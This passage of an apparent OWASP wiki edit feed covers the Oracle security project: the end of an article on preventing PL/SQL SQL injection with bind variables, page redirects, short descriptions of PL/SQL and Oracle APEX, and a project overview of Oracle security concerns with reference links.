These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester.&lt;br /&gt;
&lt;br /&gt;
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection_in_PL/SQL&amp;diff=46376</id>
		<title>SQL Injection in PL/SQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection_in_PL/SQL&amp;diff=46376"/>
				<updated>2008-11-13T15:31:55Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: SQL Injection in PL/SQL moved to PL/SQL:SQL Injection&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[PL/SQL:SQL Injection]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46375</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46375"/>
				<updated>2008-11-13T15:31:54Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: SQL Injection in PL/SQL moved to PL/SQL:SQL Injection&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.securityfocus.com/infocus/1644&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46374</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46374"/>
				<updated>2008-11-13T15:29:39Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.&lt;br /&gt;
&lt;br /&gt;
''A more generic description is needed, this is a copy from the Oracle ApEx Site''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46373</id>
		<title>PL/SQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46373"/>
				<updated>2008-11-13T15:29:31Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.&lt;br /&gt;
&lt;br /&gt;
The key strength of PL/SQL is its tight integration with the Oracle database.&lt;br /&gt;
&lt;br /&gt;
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.&lt;br /&gt;
&lt;br /&gt;
* [[PL/SQL:SQL Injection]]&lt;br /&gt;
* [[PL/SQL:Cursor Injection]]&lt;br /&gt;
* [[PL/SQL:Dangling Cursor Snarfing]]&lt;br /&gt;
* [[PL/SQL:Buffer overflow]]&lt;br /&gt;
* [[PL/SQL:Privilege escalation]]&lt;br /&gt;
&lt;br /&gt;
http://en.wikipedia.org/wiki/PL/SQL&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46370</id>
		<title>PL/SQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46370"/>
				<updated>2008-11-13T15:12:06Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.&lt;br /&gt;
&lt;br /&gt;
The key strength of PL/SQL is its tight integration with the Oracle database.&lt;br /&gt;
&lt;br /&gt;
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection in PL/SQL]]&lt;br /&gt;
* [[Cursor Injection in PL/SQL]]&lt;br /&gt;
* [[Dangling Cursor Snarfing in PL/SQL]]&lt;br /&gt;
* [[Buffer overflow in PL/SQL]]&lt;br /&gt;
&lt;br /&gt;
http://en.wikipedia.org/wiki/PL/SQL&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Frameworks]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46369</id>
		<title>PL/SQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46369"/>
				<updated>2008-11-13T15:11:47Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.&lt;br /&gt;
&lt;br /&gt;
The key strength of PL/SQL is its tight integration with the Oracle database.&lt;br /&gt;
&lt;br /&gt;
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection in PL/SQL]]&lt;br /&gt;
* [[Cursor Injection in PL/SQL]]&lt;br /&gt;
* [[Dangling Cursor Snarfing in PL/SQL]]&lt;br /&gt;
* [[Buffer overflow in PL/SQL]]&lt;br /&gt;
&lt;br /&gt;
http://en.wikipedia.org/wiki/PL/SQL&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Framworks]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46368</id>
		<title>PL/SQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL&amp;diff=46368"/>
				<updated>2008-11-13T15:10:30Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.&lt;br /&gt;
&lt;br /&gt;
The key strength of PL/SQL is its tight integration with the Oracle database.&lt;br /&gt;
&lt;br /&gt;
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection in PL/SQL]]&lt;br /&gt;
* [[Cursor Injection in PL/SQL]]&lt;br /&gt;
* [[Dangling Cursor Snarfing in PL/SQL]]&lt;br /&gt;
* [[Buffer overflow in PL/SQL]]&lt;br /&gt;
&lt;br /&gt;
http://en.wikipedia.org/wiki/PL/SQL&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Oracle_Project&amp;diff=46367</id>
		<title>Category:OWASP Oracle Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Oracle_Project&amp;diff=46367"/>
				<updated>2008-11-13T15:03:10Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==About==&lt;br /&gt;
The OWASP Oracle Project's goal is to enable administrator and developers using Oracle databases, frameworks or tooling to build secure applications efficiently.&lt;br /&gt;
&lt;br /&gt;
==Joining the Project==&lt;br /&gt;
&lt;br /&gt;
Marinus J. Kuivenhoven leads the project.  The project's high level roadmap can be found at the [[OWASP Oracle Project Roadmap]]&lt;br /&gt;
* Please submit your ideas for individual articles to the [[Oracle Project Article Wishlist]].&lt;br /&gt;
* If you'd like to contribute:&lt;br /&gt;
# visit the [[Tutorial]], &lt;br /&gt;
# join the [http://lists.owasp.org/mailman/listinfo/oracle-project mailing list] &lt;br /&gt;
# and pick a topic from the [[OWASP Oracle Table of Contents]], or suggest a new topic.&amp;lt;br&amp;gt;&lt;br /&gt;
Remember to add the tag: &amp;lt;nowiki&amp;gt;[[Category:OWASP Oracle Project]]&amp;lt;/nowiki&amp;gt; to the end of new articles so that they're properly categorised.&lt;br /&gt;
&lt;br /&gt;
=Oracle Security Overview=&lt;br /&gt;
&lt;br /&gt;
==Why Oracle Security???==&lt;br /&gt;
&lt;br /&gt;
; Architects&lt;br /&gt;
: With Oracle now supporting the grid computing architecture, security has spread from one machine to several, which increases the chance on a vulnerability.&lt;br /&gt;
&lt;br /&gt;
;Administrators&lt;br /&gt;
:Oracle is not the fastest releaser of patches, but because of the complexity of most systems, also DBA's often take their time to patch the system, because they don't want to break a running application. Also Oracle is great at enabling a lot of features by default, if you don't know what they do and which you really need, you could have a lot more vulnerabilities than you could handle. A DBA simply needs to understand who is accessing their database and how it is done.&lt;br /&gt;
&lt;br /&gt;
;Developers &lt;br /&gt;
:Legacy frameworks like Oracle Designer and Oracle Forms have built-in support for making a SQL injection, even when working in a non webbased enviroment. The newer framesworks (like ADF and Application Express) are great in making it easy to develop database oriented applications. But they are meta-frameworks, which makes understanding what is going on on a lower level, virtually impossible for most developers.&lt;br /&gt;
&lt;br /&gt;
;Deployers&lt;br /&gt;
:Since most DBA's are now unintended Web- and ASadministrators, their knowledgde is small and one-sided.&lt;br /&gt;
&lt;br /&gt;
;Testers&lt;br /&gt;
:Even though the old Oracle products are well known and the newer ones are J2EE based, their possibilties are not that well documented, so finding vulnerabilities for most testers will be a lot harder than say a .net enviroment.&lt;br /&gt;
&lt;br /&gt;
==Touchpoints==&lt;br /&gt;
&lt;br /&gt;
===Network===&lt;br /&gt;
&lt;br /&gt;
* [[TNS]]&lt;br /&gt;
* [[Listner]]&lt;br /&gt;
* [[DBNSMP]]&lt;br /&gt;
&lt;br /&gt;
===Applications===&lt;br /&gt;
&lt;br /&gt;
* [[E-business Suite]]&lt;br /&gt;
* [[SOA Suite]]&lt;br /&gt;
* [[BI Suite]]&lt;br /&gt;
&lt;br /&gt;
===Development===&lt;br /&gt;
&lt;br /&gt;
* [[PL/SQL]]&lt;br /&gt;
* [[Oracle Forms]]&lt;br /&gt;
* [[Application Express (ApEx)]]&lt;br /&gt;
* [[Application Development Framework (ADF)]]&lt;br /&gt;
* [[JDeveloper]]&lt;br /&gt;
* [[Java]]&lt;br /&gt;
&lt;br /&gt;
===Database===&lt;br /&gt;
&lt;br /&gt;
* [[Oracle Express 10g]]&lt;br /&gt;
* [[Oracle 11g]]&lt;br /&gt;
* [[Oracle 10g]]&lt;br /&gt;
* [[Oracle 9i]]&lt;br /&gt;
* [[Oracle 8i]]&lt;br /&gt;
&lt;br /&gt;
===Operating System===&lt;br /&gt;
&lt;br /&gt;
* [[Windows]]&lt;br /&gt;
* [[*nix]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Platform]]&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Secure_Other_executables&amp;diff=23010</id>
		<title>Secure Other executables</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Secure_Other_executables&amp;diff=23010"/>
				<updated>2007-11-05T10:06:53Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: Replacing page with 'http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.3'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.3&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Oracle_Binairy_Permissions&amp;diff=23009</id>
		<title>Oracle Binairy Permissions</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Oracle_Binairy_Permissions&amp;diff=23009"/>
				<updated>2007-11-05T09:46:06Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: Replacing page with 'http://www.petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;action=display;num=1155183396

http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.2'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;action=display;num=1155183396&lt;br /&gt;
&lt;br /&gt;
http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.2&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=23008</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=23008"/>
				<updated>2007-11-05T09:39:22Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: http://www.oracle.com/technology/oramag/oracle/06-sep/o56browser.html&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.oracle.com/technology/oramag/oracle/06-sep/o56browser.html&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dangling_Cursor_Snarfing_in_PL/SQL&amp;diff=23006</id>
		<title>Dangling Cursor Snarfing in PL/SQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dangling_Cursor_Snarfing_in_PL/SQL&amp;diff=23006"/>
				<updated>2007-11-05T09:18:35Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cursor_Injection_in_PL/SQL&amp;diff=23005</id>
		<title>Cursor Injection in PL/SQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cursor_Injection_in_PL/SQL&amp;diff=23005"/>
				<updated>2007-11-05T09:17:51Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: http://www.databasesecurity.com/dbsec/cursor-injection.pdf&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.databasesecurity.com/dbsec/cursor-injection.pdf&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=23004</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=23004"/>
				<updated>2007-11-05T09:15:54Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: http://www.securityfocus.com/infocus/1644&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.securityfocus.com/infocus/1644&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	</feed>